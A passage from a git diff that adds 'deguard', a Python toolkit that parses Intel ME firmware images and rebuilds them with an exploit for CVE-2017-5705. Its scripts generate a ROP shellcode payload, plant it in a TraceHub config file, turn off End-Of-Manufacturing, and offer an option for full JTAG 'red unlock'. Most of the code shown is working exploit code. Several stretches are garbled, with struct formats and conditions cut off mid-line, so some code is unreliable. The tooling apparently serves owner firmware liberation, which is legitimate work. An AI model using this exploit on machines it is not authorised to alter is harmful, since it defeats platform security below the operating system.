COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along + with this program; if not, write to the Free Software Foundation, Inc., + 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. diff --git a/blobs/t480/deguard/doc/LICENSE.orig b/blobs/t480/deguard/doc/LICENSE.orig new file mode 100644 index 000000000..ac6be728b --- /dev/null +++ b/blobs/t480/deguard/doc/LICENSE.orig @@ -0,0 +1,17 @@ +License for MFSUtil (CFG.py, MFS.py, MFSUtil.py) + +Copyright 2019 Youness El Alaoui + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + +License for original exploit generator (me_exp_bxtp_me11.py): + +Copyright (c) 2018 Mark Ermolov, Maxim Goryachy at Positive Technologies + +Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/blobs/t480/deguard/finalimage.py b/blobs/t480/deguard/finalimage.py new file mode 100755 index 000000000..c77f5f4f2 --- /dev/null +++ b/blobs/t480/deguard/finalimage.py @@ -0,0 +1,111 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0-only + +import argparse +import os +from lib.exploit import GenerateShellCode +from lib.image import parse_ifd_or_me +from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS +from lib.cfg import CFG + +def generate_fitc_from_intel_and_delta(intel_cfg, delta_dir): + # Create empty fitc.cfg + fitc_cfg = CFG() + + for intel_file in intel_cfg.files: + # Copy over directory + if intel_file.isDirectory(): + fitc_cfg.addFile(intel_file.path, intel_file.data, + intel_file.record.mode, intel_file.record.opt, + intel_file.record.uid, intel_file.record.gid) + continue + + # Skip non-overridable file + if (intel_file.record.opt & 1) == 0: + continue + + # Look for file in the delta + delta_path = os.path.join(delta_dir, intel_file.path.lstrip("/")) + if os.path.isfile(delta_path): + # Create modified overridable file from delta + with open(delta_path, "rb") as f: + fitc_cfg.addFile(intel_file.path, f.read(), + intel_file.record.mode, intel_file.record.opt, + intel_file.record.uid, intel_file.record.gid) + else: + # Copy over unmodified overridable file + fitc_cfg.addFile(intel_file.path, intel_file.data, + intel_file.record.mode, intel_file.record.opt, + intel_file.record.uid, intel_file.record.gid) + + return fitc_cfg + +def apply_exploit_to_fitc(fitc_cfg, version, pch, sku, fake_fpfs, red_unlock): + # Make sure End-Of-Manufacturing is off + fitc_cfg.removeFile("/home/mca/eom") + fitc_cfg.addFile("/home/mca/eom", b"\x00", CFG.strToMode(' --Irw-r-----'), CFG.strToOpt('?!-F'), 0, 238) + + # Generate TraceHub configuration file with exploit payload + ct_payload = GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock) + # Add TraceHub configuration file + fitc_cfg.removeFile("/home/bup/ct") + fitc_cfg.addFile("/home/bup/ct", ct_payload, CFG.strToMode(' ---rwxr-----'), CFG.strToOpt('?--F'), 3, 351) + +def add_fitc_to_sysvol(sysvol, fitc_data): + # Delete original fitc.cfg + sysvol.removeFile(FITC_IDX) + # Delete home partition (we want all data to come from the new fitc.cfg) + sysvol.removeFile(HOME_IDX) + # Insert new fitc.cfg + # NOTE: optimize=False is required to break up continous chunks, + # which causes the vulnerable code to perform multiple reads. + sysvol.addFile(FITC_IDX, fitc_data, optimize=False) + +parser = argparse.ArgumentParser() +parser.add_argument("--input", required=True, help="Donor image (either full with IFD or just ME)") +parser.add_argument("--output", required=True, help="Output ME image") +parser.add_argument("--delta", required=True, help="MFS delta directory") +parser.add_argument('--version', required=True, help='Donor ME version') +parser.add_argument('--pch', required=True, help='PCH type') +parser.add_argument('--sku', metavar='', help='ME SKU', required=True) +parser.add_argument('--fake-fpfs', help='replace SRAM copy of FPFs with the provided data') +parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') +args = parser.parse_args() + +# Get ME from input image +with open(args.input, "rb") as f: + me = parse_ifd_or_me(f.read()) + +# Make sure delta directory exists +if not os.path.isdir(args.delta): + raise ValueError(f"Delta directory {args.delta} not found") + +# Read FPF data +fake_fpfs = None +if args.fake_fpfs: + with open(args.fake_fpfs, "rb") as f: + fake_fpfs = f.read() + +# Parse MFS and get its system volume +mfs = MFS(me.entry_data("MFS")) +sysvol = mfs.getSystemVolume() + +# Read intel.cfg +intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) + +# Generate fitc.cfg +fitc_cfg = generate_fitc_from_intel_and_delta(intel_cfg, args.delta) +# Modify fitc.cfg with exploit +apply_exploit_to_fitc(fitc_cfg, args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) +# Re-generate fitc.cfg +fitc_cfg.generate(alignment=2) + +# Write fitc.cfg +add_fitc_to_sysvol(sysvol, fitc_cfg.data) +# Re-generate MFS +mfs.generate() +# Write MFS to ME image +me.write_entry_data("MFS", mfs.data) +# Write out ME image +with open(args.output, "wb") as f: + f.write(me.data) diff --git a/blobs/t480/deguard/gen_shellcode.py b/blobs/t480/deguard/gen_shellcode.py new file mode 100755 index 000000000..1d8fbfbe8 --- /dev/null +++ b/blobs/t480/deguard/gen_shellcode.py @@ -0,0 +1,24 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0-only + +import argparse +from lib.exploit import GenerateShellCode + +parser = argparse.ArgumentParser(description="Intel-SA-00086 (CVE-2017-5705) exploit generator for ME 11.x.x.x") +parser.add_argument('-o', '--output', metavar='', help='output file path', required=True) +parser.add_argument('-v', '--version', metavar='', help='ME version', required=True) +parser.add_argument('-p', '--pch', metavar='', help='PCH type', required=True) +parser.add_argument('-s', '--sku', metavar='', help='ME SKU', required=True) +parser.add_argument('--fake-fpfs', metavar='', help='replace SRAM copy of FPFs with the provided data') +parser.add_argument('--red-unlock', help='allow full JTAG access to the entire platform', action='store_true') +args = parser.parse_args() + +fake_fpfs = None +if args.fake_fpfs: + with open(args.fake_fpfs, "rb") as f: + fake_fpfs = f.read() + +data = GenerateShellCode(args.version, args.pch, args.sku, fake_fpfs, args.red_unlock) + +with open(args.output, "wb") as f: + f.write(data) diff --git a/blobs/t480/deguard/generatedelta.py b/blobs/t480/deguard/generatedelta.py new file mode 100755 index 000000000..9153d61ba --- /dev/null +++ b/blobs/t480/deguard/generatedelta.py @@ -0,0 +1,76 @@ +#!/usr/bin/python3 +# SPDX-License-Identifier: GPL-2.0-only + +import argparse +import os +from lib.image import parse_ifd_or_me +from lib.mfs import INTEL_IDX, FITC_IDX, HOME_IDX, MFS +from lib.cfg import CFG + +def delta_from_fitc_cfg(overridable, fitc_files, output): + if set(fitc_files.keys()).difference(overridable.keys()) != set(): + raise ValueError("fitc.cfg contains unexpected data, please report this for investigation") + # Iterate overridable paths from intel.cfg + for path, intel_file in overridable.items(): + # Skip dirs + if intel_file.isDirectory(): + continue + # Skip files not in fitc + if path not in fitc_files: + continue + fitc_file = fitc_files[path] + if intel_file.data != fitc_file.data: + # Write out differing file to delta + filepath = os.path.join(output, path.lstrip("/")) + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, "wb") as f: + f.write(fitc_file.data) + +def delta_from_home(overridable, home_files, output): + # Iterate overridable paths from intel.cfg + for path, intel_file in overridable.items(): + # Skip dirs + if intel_file.isDirectory(): + continue + # Skip files not in /home + if path not in home_files: + continue + if intel_file.data != home_files[path]: + # Write out differing file to delta + filepath = os.path.join(output, path.lstrip("/")) + os.makedirs(os.path.dirname(filepath), exist_ok=True) + with open(filepath, "wb") as f: + f.write(home_files[path]) + +parser = argparse.ArgumentParser() +parser.add_argument("--input", required=True, help="Input vendor image (either full with IFD or just ME)") +parser.add_argument("--output", required=True, help="Output MFS delta directory") +args = parser.parse_args() + +# Get ME from input image +with open(args.input, "rb") as f: + me = parse_ifd_or_me(f.read()) + +# Parse MFS and get its system volume +mfs = MFS(me.entry_data("MFS")) +sysvol = mfs.getSystemVolume() + +# Lookup table of directories and overridable paths in intel.cfg +intel_cfg = CFG(sysvol.getFile(INTEL_IDX).data) +overridable = { file.path: file for file in intel_cfg.files \ + if file.isDirectory() or (file.record.opt & 1) != 0 } + +fitc = sysvol.getFile(FITC_IDX) + +if fitc: + # We have a fitc.cfg, so compute delta from that + fitc_cfg = CFG(fitc.data) + fitc_files = { file.path: file for file in fitc_cfg.files } + delta_from_fitc_cfg(overridable, fitc_files, args.output) +else: + # If there is no fitc we must have a /home + if not sysvol.getFile(HOME_IDX): + raise Error("MFS has no fitc.cfg or home directory, please provide an image with valid config data") + # Build lookup table from files in home in /home + home_files = { path: data for path, data in sysvol.listDir(HOME_IDX, True, "/home") } + delta_from_home(overridable, home_files, args.output) diff --git a/blobs/t480/deguard/lib/cfg.py b/blobs/t480/deguard/lib/cfg.py new file mode 100644 index 000000000..050782109 --- /dev/null +++ b/blobs/t480/deguard/lib/cfg.py @@ -0,0 +1,272 @@ +# SPDX-License-Identifier: GPL-2.0-only +# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) + +import posixpath +import struct +from functools import cmp_to_key + +def cmp(a, b): + return (a > b) - (a < b) + +class CFGAlignment: + ALIGN_NONE = 0 + ALIGN_START = 1 + ALIGN_END = 2 + +class CFG(object): + CFG_FMT = struct.Struct(" 1 + file = self.getFile(posixpath.join(*path)) + assert file and file.isDirectory() + assert file.record.mode == record.mode + path.pop() + else: + file = CFGFile(posixpath.join(*path + [record.name]), record, self.data, parent) + self.files.append(file) + if record.isDirectory(): + path.append(record.name) + parent = self.getFile(posixpath.join(*path)) + self.records.append(record) + + def getFile(self, path): + for file in self.files: + if file.path == path: + return file + return None + + def removeFile(self, path, recursive = False): + file = self.getFile(path) + if file: + if len(file.children) > 0 and not recursive: + return False + # Copy list of children since we're modifying the list + for child in file.children[:]: + self.removeFile(child.path, recursive) + self.files.remove(file) + if file.parent: + file.parent.removeChild(file) + return True + else: + return False + + def addFile(self, path, data, mode, opt, uid, gid): + # Make sure it doesn't already exists + file = self.getFile(path) + if file: + raise ValueError(f"CFG path {path} already exists") + + directory = False + (parent_path, filename) = posixpath.split(path) + + if filename == "": + directory = True + (parent_path, filename) = posixpath.split(parent_path) + + # Make sure parent exists if it is not the root + parent = self.getFile(parent_path) + if parent_path != "/"and parent is None: + raise ValueError(f"CFG path {path} already exists") + + record = CFGRecord.createRecord(filename, mode, opt, uid, gid, len(data), 0) + file = CFGFile(path, record, data, parent) + self.files.append(file) + + def generate(self, alignment): + self.records = [] + file_data = b"" + if len(self.files) > 0: + (self.records, file_data) = self.files[0].generateRecords(alignment=alignment) + self.num_records = len(self.records) + self.data = self.CFG_FMT.pack(self.num_records) + data_offset = len(self.data) + CFGRecord.RECORD_FMT.size * self.num_records + alignment_data = b"" + if alignment != CFGAlignment.ALIGN_NONE: + alignment_extra = data_offset % 0x40 + if alignment_extra > 0: + alignment_data += struct.pack("> i): + ret += modeStr[i] + else: + ret += "-" + return ret + + @staticmethod + def strToMode(str): + modeStr = "dAEIrwxrwxrwx" + assert len(str) == len(modeStr) + mode = 0 + for i in range(13): + if str[i] == modeStr[i]: + mode |= (0x1000 >> i) + else: + assert str[i] == '-' or str[i] == ' ' + return mode + + @staticmethod + def optToStr(opt): + assert opt & 0xFFF0 == 0 + optStr = "?!MF" + ret = "" + for i in range(4): + if opt & (8 >> i): + ret += optStr[i] + else: + ret += "-" + return ret + + @staticmethod + def strToOpt(str): + optStr = "?!MF" + assert len(str) == len(optStr) + opt = 0 + for i in range(4): + if str[i] == optStr[i]: + opt |= (8 >> i) + else: + assert str[i] == '-' or str[i] == ' ' + return opt + +class CFGRecord(object): + RECORD_FMT = struct.Struct("<12sHHHHHHL") + + def __init__(self, data, index): + offset = CFG.CFG_FMT.size + self.RECORD_FMT.size * index + self.data = data[offset:offset + self.RECORD_FMT.size] + (self.name, zero, self.mode, self.opt, self.size, + self.uid, self.gid, self.offset) = self.RECORD_FMT.unpack(self.data) + self.name = self.name.decode('utf-8') + self.name = self.name.strip('\0') + if self.name == "..": + assert self.isDirectory() + assert self.opt == 0 + if self.isDirectory(): + assert self.size == 0 + + def isDirectory(self): + return self.mode & 0x1000 == 0x1000 + + def generate(self): + self.data = CFGRecord.RECORD_FMT.pack(self.name.encode("utf-8"), 0, self.mode, self.opt, + self.size, self.uid, self.gid, self.offset) + + @staticmethod + def createRecord(name, mode, opt, uid, gid, size, offset): + data = b'\0' * CFG.CFG_FMT.size + \ + CFGRecord.RECORD_FMT.pack(name.encode("utf-8"), 0, mode, opt, size, uid, gid, offset) + return CFGRecord(data, 0) + + def copy(self): + return self.createRecord(self.name, self.mode, self.opt, self.uid, self.gid, self.size, self.offset) + + def __str__(self): + return "%-12s (%04X:%04X) [%4d bytes @ %8X] %s _ %s" % (self.name, self.uid, self.gid, + self.size, self.offset, CFG.modeToStr(self.mode), CFG.optToStr(self.opt)) + +class CFGFile(object): + def __init__(self, path, record, data, parent=None): + self.path = path + self.record = record + self.data = data[record.offset:record.offset + record.size] + self.parent = parent + self.children = [] + if parent: + parent.addChild(self) + + @property + def size(self): + return self.record.size + + def isDirectory(self): + return self.record.isDirectory() + + def addChild(self, child): + assert self.isDirectory() + self.children.append(child) + self.children.sort(key=cmp_to_key(CFGFile.__cmp__)) + + def removeChild(self, child): + assert self.isDirectory() and child in self.children + self.children.remove(child) + + def generateRecords(self, data = b"", alignment=CFGAlignment.ALIGN_NONE): + self.record.size = 0 if self.isDirectory() else self.size + self.record.offset = 0 if self.isDirectory() else len(data) + records = [self.record] + if self.isDirectory(): + for child in self.children: + (sub_records, new_data) = child.generateRecords(data, alignment) + records += sub_records + data = new_data + + dotdot = self.record.copy() + dotdot.name = '..' + dotdot.opt = 0 + records.append(dotdot) + else: + alignment_extra = 0 + if alignment == CFGAlignment.ALIGN_START: + alignment_extra = self.record.offset % 0x40 + elif self.record.size != 0 and alignment == CFGAlignment.ALIGN_END: + alignment_extra = (self.record.offset + self.record.size) % 0x40 + if alignment_extra > 0: + data += struct.pack(" pointing to valid descriptors below +# shared mem descriptors with address of memcpy_s ret address +# up to 0x380 with syslib context pointing up +# chunk with pointers to ROP address + +def GenerateShellCode(version, pch, sku, fake_fpfs, red_unlock): + me_info = None + for info in ME_INFOS: + if info.ME_VERSION == version and info.PCH_TYPE == pch and info.ME_SKU == sku: + me_info = info + break + + if me_info is None: + raise ValueError("Cannot find required information for ME version, PCH type, and ME SKU.") + + # Add ROPs + data, rops_start = GenerateRops(me_info, fake_fpfs, red_unlock) + if data is None: + return None + + # Create syslib context and add it to the data + syslib_ctx_addr = me_info.BUFFER_ADDRESS + len(data) + (syslib_ctx, syslib_ctx_addr) = GenerateSyslibCtx(me_info, syslib_ctx_addr) + data += syslib_ctx + + # Create TLS structure + tls = struct.pack(" me_info.BUFFER_OFFSET: + raise ValueError("Too much data in the ROPs, cannot fit payload within 0x%X bytes" % me_info.BUFFER_OFFSET) + + # Add padding and add TLS at the end of the buffer + data += struct.pack("len(data): + return None + return struct.unpack("len(data): + return None + return struct.unpack("> bf[0] & bf[1] + +class IFDRegion(Enum): + IFD = 0 + BIOS = 1 + ME = 2 + GBE = 3 + PD = 4 + EC = 8 + +class IFDImage: + MAGIC_OFF = 0x10 + MAGIC = 0x0FF0A55A + + FLMAP0_OFF = 0x14 + FLMAP0_FRBA = (16, 0xff) + + FLREGN_BASE = (0, 0x7fff) + FLREGN_LIMIT = (16, 0x7fff) + + def __init__(self, data): + self.data = bytearray(data) + + # Verify magic + if dword_le(self.data, self.MAGIC_OFF) != self.MAGIC: + raise ValueError("Invalid IFD magic") + + # Find base address of regions + flmap0 = dword_le(self.data, self.FLMAP0_OFF) + frba = ex(flmap0, self.FLMAP0_FRBA) << 4 + + # Parse regions + self.regions = {} + for region in IFDRegion: + flregN = dword_le(self.data, frba + 4 * region.value) + base = ex(flregN, self.FLREGN_BASE) + limit = ex(flregN, self.FLREGN_LIMIT) + if base == 0x7fff and limit == 0x0000: # Unused region + continue + self.regions[region] = (base << 12, limit << 12 | 0xfff) + + def __str__(self): + return "\n".join(f" {region.name:<4} {extent[0]:08x}-{extent[1]:08x}" \ + for region, extent in self.regions.items()) + + def region_data(self, region): + if region not in self.regions: + raise ValueError(f"IFD region {region} not present") + base, limit = self.regions[region] + return self.data[base:limit] + +class MeImage: + HEADER_OFF = 0x10 + + MARKER_OFF = 0x10 + MARKER = b"$FPT" + + NUMENT_OFF = 0x14 + HDRLEN_OFF = 0x20 + HDRSUM_OFF = 0x21 + + ENTRY_OFF = 0x30 + ENTRY_SIZE = 0x20 + + def __init__(self, data): + self.data = bytearray(data) + + # Verify magic and checksum + if self.data[self.MARKER_OFF:self.MARKER_OFF+4] != self.MARKER: + raise ValueError("Invalid $FPT magic") + if sum(self.data[self.HEADER_OFF:self.data[self.HDRLEN_OFF]]) != 0: + raise ValueError("Invalid $FPT checksum") + + # Parse entries + self.entries = {} + for idx in range(self.data[self.NUMENT_OFF]): + off = self.ENTRY_OFF + idx * self.ENTRY_SIZE + name, _, offset, length, _, _, _, flags = struct.unpack("<4sIIIIIII", \ + self.data[off:off+self.ENTRY_SIZE]) + self.entries[name.strip(b"\0").decode()] = (offset, length, flags) + + def __str__(self): + return "\n".join(f" {name:<4} {entry[0]:08x}-{entry[1]:08x} {entry[2]:08x}" \ + for name, entry in self.entries.items()) + + def entry_data(self, name): + if name not in self.entries: # No entry + raise ValueError(f"Unknown $FPT entry {name}") + offset, length, flags = self.entries[name] + if flags & 0xff00_0000 != 0: # Invalid entry + raise ValueError(f"Invalid $FPT entry {name}") + return self.data[offset:offset+length] + + def write_entry_data(self, name, data): + if name not in self.entries: # No entry + raise ValueError(f"Unknown $FPT entry {name}") + offset, length, flags = self.entries[name] + if flags & 0xff00_0000 != 0: # Invalid entry + raise ValueError(f"Invalid $FPT entry {name}") + if len(data) != length: + raise ValueError(f"Wrong data length") + self.data[offset:offset+length] = data + +def parse_ifd_or_me(data): + try: + # Try parse as full image + ifd_image = IFDImage(data) + return MeImage(ifd_image.region_data(IFDRegion.ME)) + except: + # Assume it is just an ME + return MeImage(data) diff --git a/blobs/t480/deguard/lib/mfs.py b/blobs/t480/deguard/lib/mfs.py new file mode 100644 index 000000000..9dee71bca --- /dev/null +++ b/blobs/t480/deguard/lib/mfs.py @@ -0,0 +1,508 @@ +# SPDX-License-Identifier: GPL-2.0-only +# This code is based on MFSUtil by Youness Alaoui (see `doc/LICENSE.orig` for original copyright) + +import struct +from functools import cmp_to_key + +INTEL_IDX = 6 # Default configuration +FITC_IDX = 7 # Vendor configuration +HOME_IDX = 8 # Runtime ME data + +def cmp(a, b): + return (a > b) - (a < b) + +class MFS(object): + PAGE_SIZE = 0x2000 # Page size is 8K + CHUNK_SIZE = 0x40 # Chunk size is 64 bytes + CHUNK_CRC_SIZE = 2 # Size of CRC16 + CHUNKS_PER_DATA_PAGE = 122 # 122 chunks per Data page + CHUNKS_PER_SYSTEM_PAGE = 120 # 120 chunks per System page + + CRC8TabLo = bytearray([0, 7, 14, 9, 28, 27, 18, 21, 56, 63, 54, 49, 36, 35, 42, 45]) + CRC8TabHi = bytearray([0, 112, 224, 144, 199, 183, 39, 87, 137, 249, 105, 25, 78, 62, 174, 222]) + CRC16Tab = [0]*256 + for i in range(256): + r = i << 8 + for j in range(8): r = (r << 1) ^ (0x1021 if r & 0x8000 else 0) + CRC16Tab[i] = r & 0xFFFF + + def __init__(self, data): + self.data = data + self.size = len(self.data) + assert self.size % self.PAGE_SIZE == 0 + + self.num_pages = self.size // self.PAGE_SIZE # Total number of pages + self.num_sys_pages = self.num_pages // 12 # Number of System pages + self.num_data_pages = self.num_pages - self.num_sys_pages - 1 # Number of Data pages + self.capacity = self.num_data_pages * self.CHUNKS_PER_DATA_PAGE * self.CHUNK_SIZE + + self.data_pages = [] + self.sys_pages = [] + self.to_be_erased = None + for page in range(self.num_pages): + page = MFSPage(self.data[page * self.PAGE_SIZE:(page + 1) * self.PAGE_SIZE], page) # Load page + if page.isToBeErased(): + assert self.to_be_erased == None + self.to_be_erased = page + elif page.isSystemPage(): + self.sys_pages.append(page) + else: + self.data_pages.append(page) + + assert self.num_sys_pages == len(self.sys_pages) + assert self.num_data_pages == len(self.data_pages) + + self.sys_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) + self.data_pages.sort(key=cmp_to_key(MFSPage.__cmp__)) + + self.system_volume = MFSSystemVolume(self.sys_pages, self.data_pages) + + + def getSystemVolume(self): + return self.system_volume + + def generate(self): + for sys_page in self.sys_pages: + sys_page.resetChunks() + for data_page in self.data_pages: + data_page.resetChunks() + + self.system_volume.generate() + system_chunks = self.system_volume.generateChunks() + for i in range(0, len(self.sys_pages)): + chunks = system_chunks[i * MFS.CHUNKS_PER_SYSTEM_PAGE: (i+1) * MFS.CHUNKS_PER_SYSTEM_PAGE] + self.sys_pages[i].setChunks(chunks) + self.sys_pages[i].generate() + + for file in self.system_volume.iterateFiles(): + chunks = file.generateChunks() + for chunk in chunks: + data_page_idx = (chunk.id - self.system_volume.total_chunks) // MFS.CHUNKS_PER_DATA_PAGE + self.data_pages[data_page_idx].addChunk(chunk) + for data_page in self.data_pages: + data_page.generate() + self.data = b"" + for sys_page in self.sys_pages: + self.data += sys_page.data + for data_page in self.data_pages: + self.data += data_page.data + self.data += self.to_be_erased.data + + def __str__(self): + res = f"Pages : {self.num_pages} ({self.num_sys_pages} System && {self.num_data_pages} Data)\nSystem Pages:\n" + for i in range(self.num_sys_pages): + res += f" {i}: {self.sys_pages[i]}\n" + res += "Data Pages:\n" + for i in range(self.num_data_pages): + res += f" {i}: {self.data_pages[i]}\n" + res += f"\nSystem Volume : \n{self.system_volume}" + return res + + @staticmethod + def CrcIdx(w, crc=0x3FFF): + for b in bytearray(struct.pack("> 8)] ^ (crc << 8)) & 0x3FFF + return crc + + @staticmethod + def Crc16(ab, crc=0xFFFF): + for b in bytearray(ab): + crc = (MFS.CRC16Tab[b ^ (crc >> 8)] ^ (crc << 8)) & 0xFFFF + return crc + + @staticmethod + def Crc8(ab): + csum = 1 + for b in bytearray(ab): + b ^= csum + csum = MFS.CRC8TabLo[b & 0xF] ^ MFS.CRC8TabHi[b >> 4] + return csum + +class MFSPage(object): + PAGE_HEADER_FMT = struct.Struct("= self.first_chunk and \ + id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE: + return self.chunks[id - self.first_chunk] + return None + + def resetChunks(self): + if self.isSystemPage(): + self.chunks = [] + else: + self.chunks = [None] * MFS.CHUNKS_PER_DATA_PAGE + + def setChunks(self, chunks): + self.chunks = chunks + + def addChunk(self, chunk): + id = chunk.id + assert self.isDataPage() and \ + id >= self.first_chunk and \ + id < self.first_chunk + MFS.CHUNKS_PER_DATA_PAGE + self.chunks[id - self.first_chunk] = chunk + + def generate(self): + data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, + self.first_chunk, 0, 0) + crc = MFS.Crc8(data[:-2]) + data = self.PAGE_HEADER_FMT.pack(self.signature, self.USN, self.num_erase, self.next_erase, + self.first_chunk, crc, 0) + if self.isSystemPage(): + assert len(self.chunks) <= MFS.CHUNKS_PER_SYSTEM_PAGE + chunk_ids = [] + last_chunk_id = 0 + for i, chunk in enumerate(self.chunks): + chunk_ids.append(MFS.CrcIdx(last_chunk_id) ^ chunk.id) + last_chunk_id = chunk.id + if len(self.chunks) == MFS.CHUNKS_PER_SYSTEM_PAGE or len(self.chunks) == 0: + chunk_ids.append(0xFFFF) + else: + # Use case of exactly 120 chunks in the last system page... + chunk_ids.append(0x7FFF) + chunk_ids += [0xFFFF] * (MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) + assert len(chunk_ids) == MFS.CHUNKS_PER_SYSTEM_PAGE + 1 + data += self.SYSTEM_PAGE_INDICES_FMT.pack(*chunk_ids) + for chunk in self.chunks: + data += chunk.getRawData() + data += b'\xFF' * ((MFS.CHUNKS_PER_SYSTEM_PAGE - len(self.chunks)) * \ + (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) + 0xC) + else: + assert len(self.chunks) == MFS.CHUNKS_PER_DATA_PAGE + data_free = [] + for i, chunk in enumerate(self.chunks): + if chunk: + assert chunk.id == self.first_chunk + i + data_free.append(0) + else: + data_free.append(0xFF) + data += self.DATA_PAGE_INDICES_FMT.pack(*data_free) + for i, chunk in enumerate(self.chunks): + if chunk: + data += chunk.getRawData() + else: + data += b"\xFF" * (MFS.CHUNK_SIZE + MFS.CHUNK_CRC_SIZE) + assert len(data) == MFS.PAGE_SIZE + self.data = data + + def __cmp__(self, other): + assert self.signature == other.signature and not self.isToBeErased() + assert self.isSystemPage() == other.isSystemPage() + if self.isSystemPage(): + return cmp(self.USN, other.USN) + else: + return cmp(self.first_chunk, other.first_chunk) + + def __str__(self): + if self.isToBeErased(): + return "ToBeErased" + if self.isSystemPage(): + chunk_ids = set() + for i in range(len(self.chunks)): + chunk_ids.add(str(self.chunks[i].id)) + chunk_ids = list(chunk_ids) + chunk_ids.sort() + res = "System-%d (USN: 0x%X): %s" % (self.page_id, self.USN, ", ".join(chunk_ids)) + else: + res = "Data-%d: %X" % (self.page_id, self.first_chunk) + return res + + def __repr__(self): + return str(self) + +class MFSChunk(object): + def __init__(self, data, chunk_id, raw=True): + self.chunk_id = chunk_id + if raw: + assert len(data) == MFS.CHUNK_SIZE + 2 + self.data = data[:-2] + self.crc, = struct.unpack(" 0: + data_chunk_idx = chain - self.num_files + page_idx = data_chunk_idx // MFS.CHUNKS_PER_DATA_PAGE + chunk = data_pages[page_idx].getChunk(self.total_chunks + data_chunk_idx) + next_chain = self.data_ids[data_chunk_idx] + size = MFS.CHUNK_SIZE if next_chain > MFS.CHUNK_SIZE else next_chain + self.files[id].addChunk(chunk, size) + if next_chain <= MFS.CHUNK_SIZE: + break + chain = next_chain + + @property + def numFiles(self): + 